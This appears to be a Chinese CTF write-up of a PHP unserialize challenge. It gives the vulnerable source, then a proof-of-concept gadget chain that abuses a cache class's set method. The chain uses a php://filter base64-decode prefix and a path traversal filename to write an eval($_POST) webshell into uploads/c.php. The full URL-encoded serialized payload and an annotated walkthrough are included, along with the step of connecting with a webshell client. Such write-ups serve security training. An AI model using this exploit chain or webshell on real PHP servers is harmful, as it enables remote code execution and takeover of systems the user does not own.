源码

<?php
error_reporting(0);

class A
{
protected $store;
protected $key;
protected $expire;

public function __construct($store, $key = 'flysystem', $expire = null)
{
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}

public function cleanContents(array $contents)
{
printf("%s\n", __METHOD__);
$cachedProperties = array_flip([
'path',
'dirname',
'basename',
'extension',
'filename',
'size',
'mimetype',
'visibility',
'timestamp',
'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}

public function getForStorage()
{
printf("%s\n", __METHOD__);
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}

public function save()
{
printf("%s\n", __METHOD__);
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}

public function __destruct()
{
printf("%s\n", __METHOD__);
if (!$this->autosave) {
$this->save();
}
}
}

class B
{
protected function getExpireTime($expire): int
{
printf("%s\n", __METHOD__);
return (int)$expire;
}

public function getCacheKey(string $name): string
{
// 使缓存文件名随机
printf("%s\n", __METHOD__);
$cache_filename = $this->options['prefix'] . uniqid() . $name;
if (substr($cache_filename, -strlen('.php')) === '.php') {
die('?');
}
return $cache_filename;
}

protected function serialize($data): string
{
printf("%s\n", __METHOD__);
if (is_numeric($data)) {
return (string)$data;
}

$serialize = $this->options['serialize'];

return $serialize($data);
}

public function set($name, $value, $expire = null): bool
{
printf("%s\n", __METHOD__);
$this->writeTimes++;

if (is_null($expire)) {
$expire = $this->options['expire'];
}

$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);

$dir = dirname($filename);

if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (Exception $e){}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
return $filename;
}
return null;
}
}

$dir = "uploads/";
if (!is_dir($dir)) {
mkdir($dir);
}
if (isset($_REQUEST['data'])) {
$data = $_REQUEST['data'];
unserialize($data);
} else {
echo "系统检测发现该处漏洞,进行攻击测试\n";
}

POC

<?php
class B{
public $options;
public function __construct()
{
$this->options['data_compress'] = false;
$this->options['expire'] = 111;
$this->options['serialize'] = 'strval';
$this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=uploads/';
}
}
class A {
protected $store;
protected $key;
protected $expire;
public function __construct()
{
$this->store = new B();
$this->key = '/../c.php/.';
$this->expire = 111;
}
}
$a = new A();
$a->autosave=false;
$a->cache = array('111'=>array("path"=>"PD9waHAgZXZhbCgkX1BPU1RbY10pOz8+"));
$a->complete = '2';
echo urlencode(serialize($a));
O%3A1%3A%22A%22%3A6%3A%7Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A7%3A%22options%22%3Ba%3A4%3A%7Bs%3A13%3A%22data_compress%22%3Bb%3A0%3Bs%3A6%3A%22expire%22%3Bi%3A111%3Bs%3A9%3A%22serialize%22%3Bs%3A6%3A%22strval%22%3Bs%3A6%3A%22prefix%22%3Bs%3A58%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3Duploads%2F%22%3B%7D%7Ds%3A6%3A%22%00%2A%00key%22%3Bs%3A11%3A%22%2F..%2Fc.php%2F.%22%3Bs%3A9%3A%22%00%2A%00expire%22%3Bi%3A111%3Bs%3A8%3A%22autosave%22%3Bb%3A0%3Bs%3A5%3A%22cache%22%3Ba%3A1%3A%7Bi%3A111%3Ba%3A1%3A%7Bs%3A4%3A%22path%22%3Bs%3A32%3A%22PD9waHAgZXZhbCgkX1BPU1RbY10pOz8%2B%22%3B%7D%7Ds%3A8%3A%22complete%22%3Bs%3A1%3A%222%22%3B%7D

payload传入,得到

A::__destruct
A::save
A::getForStorage
A::cleanContents
B::set
B::getExpireTime
B::getCacheKey
B::serialize

用蚁剑访问/uploads/c.php 即可拿到shell

PS:可以看到是否上传,不过这里代码没写好,还需要刷新一次才会显示

uploads中的文件: 
c.php

漏洞利用

从file_put_contents函数逆推,这里被触发就有可能写入webshell。
该函数用到的函数名会被getCacheKey处理一下,文件名来源于A中的key属性。
该函数中被写入的值来源于data变量,data变量由A中的contents经过serialize处理得到,serialize是一个可控变量,可以自己选定函数名。
serialize处理后可以进行压缩,但是这里显然是不能让他压缩,直接把options[‘data_compress’]定义为false即可。

也就是说,A中传递过来contents和key参数给B的set方法做处理,如果能选定适当的serialize函数,构造合适的contents以及合适的文件名,那么就可以写入webshell,获取flag。

<?php 
class A {
protected $store;
// key作文文件名
protected $key;
protected $expire;
public function __construct()
{
$this->store = new B();
// /../用于绕过uniqid生成的随机值,后面的/.用来绕过文件名限制
$this->key = '/../c.php/.';
// 随意的数值,这里似乎没啥用
$this->expire = 111;
}
}
$a = new A();
// 动态生成成员
// 用于触发save方法
$a->autosave=false;
// 处理之后得到contents,path是一个base64值
// <?php eval($_POST[c]);?>
$a->cache = array('111'=>array("path"=>"PD9waHAgZXZhbCgkX1BPU1RbY10pOz8+"));
// 这个并没有什么用,只是用来添加到json中,随便设
$a->complete = '2';

class B{
public $options;
public function __construct()
{
// 禁止压缩
$this->options['data_compress'] = false;
// 随意的数值
$this->options['expire'] = 111;
// serialize的方法
$this->options['serialize'] = 'strval';
// 用来确定写入文件的地址
$this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=uploads/';
}
}

参考:https://www.cnblogs.com/kevinbruce656/p/12713474.html